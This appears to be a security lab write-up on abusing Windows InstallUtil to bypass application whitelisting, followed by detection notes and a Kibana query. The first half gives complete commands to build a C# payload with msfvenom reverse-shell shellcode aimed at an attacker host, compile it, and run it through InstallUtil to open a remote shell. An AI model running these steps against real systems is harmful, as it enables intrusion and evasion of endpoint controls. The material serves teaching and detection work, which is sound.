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InstallUtil code execution - bypass application whitelisting. |
First of, let's generate a C# payload (with InstallUtil script) that contains shellcode from msfvenom and upload the temp.cs file to victim's machine:
{% code-tabs %} {% code-tabs-item title="attacker@local" %}
python InstallUtil.py --cs_file temp.cs --exe_file temp.exe --payload windowsreverse_shell_tcp --lhost 10.0.0.5 --lport 443{% endcode-tabs-item %} {% endcode-tabs %}
Compile the .cs to an .exe:
{% code-tabs %} {% code-tabs-item title="attacker@victim" %}
PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\csc.exe C:\experiments\installUtil\temp.cs{% endcode-tabs-item %} {% endcode-tabs %}
Execute the payload:
{% code-tabs %} {% code-tabs-item title="attacker@victim" %}
PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Microsoft.NET\Framework\v4.0.30319\temp.exe
Microsoft (R) .NET Framework Installation utility Version 4.0.30319.17929
Copyright (C) Microsoft Corporation. All rights reserved.
Hello From Uninstall...I carry out the real work...{% endcode-tabs-item %} {% endcode-tabs %}
Enjoy the sweet reverse shell:
Look for InstallUtil processes that have established connections, especially those with cmd or powershell processes running as children - you should treat them as suspicious and investigate the endpoint closer:
A very primitive query in kibana allowing to find events where InstallUtil spawns cmd:
{% code-tabs %} {% code-tabs-item title="kibana" %}
event_data.ParentCommandLine:"*installutil.exe*" && event_data.Image:cmd.exe
{% endcode-tabs-item %} {% endcode-tabs %}
What is interesting is that I could not see an established network connection logged in sysmon logs, although I could see other network connections from the victim machine being logged.
{% hint style="danger" %} Will be coming back to this one for further inspection - possibly related to sysmon configuration. {% endhint %}
{% embed url="https://attack.mitre.org/wiki/Technique/T1118" %}
{% embed url="https://github.com/khr0x40sh/WhiteListEvasion" %}